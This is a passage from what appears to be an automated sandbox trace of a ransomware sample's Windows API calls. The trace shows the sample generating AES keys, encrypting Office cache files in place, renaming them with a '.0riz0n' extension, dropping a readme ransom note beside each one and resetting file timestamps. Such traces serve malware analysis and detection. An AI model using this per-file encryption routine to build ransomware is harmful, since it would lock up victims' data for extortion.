pdwDataLen=0x17af850*=0x20c) returned 1 [0066.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0066.052] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0066.052] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0066.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0066.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0066.053] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0066.053] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0066.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xf3a868 [0066.053] ReadFile (in: hFile=0x1f0, lpBuffer=0xf3a868, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesRead=0x17af85c*=0x5aa, lpOverlapped=0x0) returned 1 [0066.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xef94d8 [0066.054] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a868) returned 1 [0066.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xf3a868 [0066.054] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0066.054] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef94d8) returned 1 [0066.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x9c0) returned 0x1acf180 [0066.055] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x5aa, dwBufLen=0x9aa | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x5b0) returned 1 [0066.055] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0066.055] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0066.055] WriteFile (in: hFile=0x1f0, lpBuffer=0xf3a868*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesWritten=0x17af85c*=0x5aa, lpOverlapped=0x0) returned 1 [0066.055] FlushFileBuffers (hFile=0x1f0) returned 1 [0066.058] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0066.058] NtClose (Handle=0x1f0) returned 0x0 [0066.059] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.0riz0n")) returned 1 [0066.059] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0066.059] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0066.059] GetLastError () returned 0x2 [0066.059] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed65e8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0066.059] GetLastError () returned 0x2 [0066.059] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0066.060] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0066.060] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0066.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0066.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb) returned 0x30d630 [0066.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0066.062] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d630) returned 1 [0066.062] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0066.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0066.062] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e9, lpOverlapped=0x0) returned 1 [0066.062] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x3c3d4690, dwHighDateTime=0x1d59598)) returned 1 [0066.062] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0066.062] NtClose (Handle=0x1f0) returned 0x0 [0066.063] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0066.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0066.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0066.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a868) returned 1 [0066.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0066.063] CryptDestroyKey (hKey=0x459b38) returned 1 [0066.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0066.064] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0066.064] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0066.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0066.064] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4)) returned 1 [0066.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0066.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0066.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0066.064] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0066.064] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0066.064] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0066.064] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0066.064] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4)) returned 1 [0066.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0066.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0066.064] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0066.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0066.065] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0066.065] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4)) returned 1 [0066.065] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0066.065] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0066.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0066.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0066.065] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0066.065] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0066.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0066.065] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xfc47e320, dwHighDateTime=0x1d301be)) returned 1 [0066.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0066.065] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0066.065] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0066.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0066.065] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0066.065] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0066.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0066.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0066.066] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0066.066] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0066.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x97f400) returned 0x2350020 [0066.067] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0x97f3f4, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0x97f3f4, lpOverlapped=0x0) returned 1 [0066.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x97f400) returned 0x2cd0020 [0066.395] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0066.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x97f400) returned 0x2350020 [0066.436] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0066.530] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2cd0020) returned 1 [0066.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x97f800) returned 0x2cd0020 [0066.656] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2cd0020*, pdwDataLen=0x17af858*=0x97f3f4, dwBufLen=0x97f7f4 | out: pbData=0x2cd0020*, pdwDataLen=0x17af858*=0x97f400) returned 1 [0066.734] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2cd0020) returned 1 [0066.773] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0066.773] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0x97f3f4, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0x97f3f4, lpOverlapped=0x0) returned 1 [0066.899] FlushFileBuffers (hFile=0x1f0) returned 1 [0066.922] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0066.922] NtClose (Handle=0x1f0) returned 0x0 [0067.094] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.0riz0n")) returned 1 [0067.094] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0067.095] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0067.095] GetLastError () returned 0x2 [0067.095] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6608, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0067.095] GetLastError () returned 0x2 [0067.095] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0067.095] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0067.095] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0067.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0067.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x13) returned 0x1baf768 [0067.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0067.096] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1baf768) returned 1 [0067.096] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0067.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0067.097] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f1, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f1, lpOverlapped=0x0) returned 1 [0067.097] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x3cd7fff0, dwHighDateTime=0x1d59598)) returned 1 [0067.097] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0067.097] NtClose (Handle=0x1f0) returned 0x0 [0067.098] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0067.098] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0067.098] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0067.098] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0067.137] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0067.137] CryptDestroyKey (hKey=0x459b38) returned 1 [0067.137] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0067.137] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0067.137] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0067.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0067.137] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648)) returned 1 [0067.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0067.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0067.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0067.138] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0067.138] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0067.138] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0067.138] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0067.138] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648)) returned 1 [0067.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0067.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0067.138] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0067.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0067.138] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0067.138] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648)) returned 1 [0067.138] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0067.139] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0067.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0067.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0067.139] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0067.139] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0067.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0067.139] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xfc8a9170, dwHighDateTime=0x1d301be)) returned 1 [0067.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0067.139] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0067.139] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0067.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0067.139] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0067.139] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0067.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0067.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0067.140] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: 